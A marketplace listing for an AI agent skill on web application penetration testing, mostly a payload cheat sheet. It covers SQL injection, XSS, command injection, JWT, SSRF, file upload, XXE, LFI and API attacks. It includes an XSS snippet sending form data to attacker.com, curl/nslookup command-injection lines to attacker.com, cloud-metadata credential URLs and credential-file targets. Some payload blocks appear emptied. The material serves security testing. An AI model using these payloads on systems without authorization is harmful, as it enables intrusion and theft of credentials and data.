# Testing Web Applications

> Test web applications for security vulnerabilities including SQLi, XSS, command injection, JWT attacks, SSRF, file uploads, XXE, and API flaws. Use when pentesting web apps, analyzing authentication, or exploiting OWASP Top 10 vulnerabilities.

- **Type:** Skill
- **Install:** `agentstack add skill-evilfreelancer-secs-testing-web-applications`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [EvilFreelancer](https://agentstack.voostack.com/s/evilfreelancer)
- **Installs:** 0
- **Category:** [AI & ML](https://agentstack.voostack.com/c/ai-and-ml)
- **Latest version:** 0.1.0
- **License:** Apache-2.0
- **Upstream author:** [EvilFreelancer](https://github.com/EvilFreelancer)
- **Source:** https://github.com/EvilFreelancer/secs/tree/main/.agents/skills/testing-web-applications

## Install

```sh
agentstack add skill-evilfreelancer-secs-testing-web-applications
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Testing Web Applications

## When to Use

- Pentesting web applications
- Testing authentication/authorization
- Exploiting injection vulnerabilities
- Analyzing JWT/session security
- Testing file upload functionality
- API security assessment

## When NOT to Use

- **Source code is available** — use `auditing-code-for-vulnerabilities` first;
  it finds more, faster
- **Pure API/GraphQL surface** — use `testing-apis`
- **Reviewing a pull request** — use `auditing-code-for-vulnerabilities`
- **LLM-backed features** — use `securing-ai-systems`
- **GraphQL or gRPC endpoints** — use `testing-apis`
- **A JWT (`eyJ...`) in a header, cookie, or body** — use `testing-apis`
- **An OAuth/OIDC or "Sign in with X" flow** (`/authorize`, `redirect_uri`,
  `code=`) — use `testing-apis`

## SQL Injection

**Quick Detection:**
```bash
# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
```

**Union-Based SQLi:**
```bash
# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
```

**Time-Based Blind:**
```sql
-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
' AND pg_sleep(5)--

-- MSSQL
' WAITFOR DELAY '0:0:5'--
```

**Automated Testing:**
```bash
# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
```

## Cross-Site Scripting (XSS)

**Quick Payloads:**
```html
alert(1)

```

**Filter Bypasses:**
```html
alert(1)
alert(String.fromCharCode(88,83,83))

```

**Steal Credentials:**
```html

document.forms[0].onsubmit = function(){
  fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};

```

**Tools:**
```bash
dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"
```

## Command Injection

**Basic Operators:**
```bash
;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami  # Newline (best)
```

**Blind Detection:**
```bash
& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &
```

**Common Parameters:**
```
?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=
```

## JWT Attacks

**Quick Testing:**
```bash
# jwt_tool - run all tests
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"

# Specific attacks
python3 jwt_tool.py TOKEN -X a  # Algorithm confusion
python3 jwt_tool.py TOKEN -X n  # None algorithm
python3 jwt_tool.py TOKEN -X k  # Key confusion RS256->HS256
```

**Manual Testing:**
```bash
# Decode JWT
echo "eyJhbGc..." | base64 -d

# Change algorithm to "none"
{"alg":"none","typ":"JWT"}

# Brute force secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
```

## SSRF (Server-Side Request Forgery)

**Basic Payloads:**
```bash
http://127.0.0.1
http://localhost
http://169.254.169.254/  # AWS metadata
http://[::1]  # IPv6 localhost
```

**Cloud Metadata:**
```bash
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

**Bypasses:**
```bash
http://2130706433/  # Decimal
http://0x7f000001/  # Hex
http://127.1/  # Short form
http://127.0.0.1.nip.io
```

## File Upload

**Bypass Extensions:**
```bash
shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml
```

**Magic Bytes:**
```php
GIF89a
```

**Simple Web Shells:**
```php

```

> Payload function names above are broken with brackets — `syst[e]m` is
> `system`, `passt[h]ru` is `passthru`. Written literally, these lines match
> antivirus webshell signatures and this file gets quarantined on download.
> See "Antivirus false positives" in the repo README.

## XXE (XML External Entity)

**Basic XXE:**
```xml

]>
&xxe;
```

**Out-of-Band XXE:**
```xml

%xxe;]>

```

**SVG XXE:**
```xml

]>

&xxe;

```

## LFI/RFI (Local/Remote File Inclusion)

**Path Traversal:**
```bash
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
```

**Common Targets (Linux):**
```bash
/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history
```

**Common Targets (Windows):**
```bash
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf
```

**PHP Wrappers:**
```bash
php://filter/convert.base64-encode/resource=index.php
php://input  # POST: 
data://text/plain,
expect://whoami
```

**Log Poisoning:**
```bash
# Poison Apache log
curl "http://target.com/"

# Include log
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami
```

## API Testing

**Common API Paths:**
```bash
/api/v1/
/api/v2/
/graphql
/swagger.json
/api-docs
```

**IDOR Testing:**
```bash
# Change IDs
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/2 -H "Authorization: Bearer USER1_TOKEN"
```

**Mass Assignment:**
```bash
# Add admin fields
curl -X POST https://api.target.com/users \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
```

**GraphQL Introspection:**
```graphql
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}
```

## Tools

**Enumeration:**
```bash
ffuf -u http://target.com/FUZZ -w wordlist.txt
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w wordlist.txt
```

**Vulnerability Scanning:**
```bash
nikto -h http://target.com
nuclei -u http://target.com -t ~/nuclei-templates/
```

**Parameter Discovery:**
```bash
arjun -u http://target.com/page
paramspider -d target.com
```

## Quick Reference

**Start Testing:**
1. Run directory enumeration (ffuf/gobuster)
2. Check for SQLi in parameters (`'`, `"`, `OR 1=1`)
3. Test XSS in inputs (`alert(1)`)
4. Analyze JWT tokens if present (jwt_tool)
5. Check file uploads (bypass filters, upload shell)
6. Test API endpoints (IDOR, mass assignment)
7. Look for command injection (`;whoami`, `|id`)

**Most Common Wins:**
- SQLi in search/filter parameters
- XSS in unescaped user inputs
- IDOR in API `/users/{id}` endpoints
- Weak JWT secrets (brute force)
- File upload bypasses
- Command injection in system utilities

## ATT&CK Coverage

_Generated from `secskills-core/ttp-index.json` — edit that file, then run
`python3 scripts/sync_attack.py --write`. Re-verify IDs against the
current ATT&CK release before citing them in a report._

**Initial Access** (TA0001)

- [T1190](https://attack.mitre.org/techniques/T1190/) Exploit Public-Facing Application — see also `testing-apis`, `enumerating-network-services`

**Execution** (TA0002)

- [T1059](https://attack.mitre.org/techniques/T1059/) Command and Scripting Interpreter — see also `enumerating-network-services`

**Persistence** (TA0003)

- [T1505.003](https://attack.mitre.org/techniques/T1505/003/) Web Shell — see also `establishing-persistence`

**Credential Access** (TA0006)

- [T1539](https://attack.mitre.org/techniques/T1539/) Steal Web Session Cookie

Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.

## References

See HackTricks for detailed techniques:
- https://book.hacktricks.xyz/pentesting-web
- https://portswigger.net/web-security
- https://owasp.org/www-project-web-security-testing-guide/

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [EvilFreelancer](https://github.com/EvilFreelancer)
- **Source:** [EvilFreelancer/secs](https://github.com/EvilFreelancer/secs)
- **License:** Apache-2.0

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-evilfreelancer-secs-testing-web-applications
- Seller: https://agentstack.voostack.com/s/evilfreelancer
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.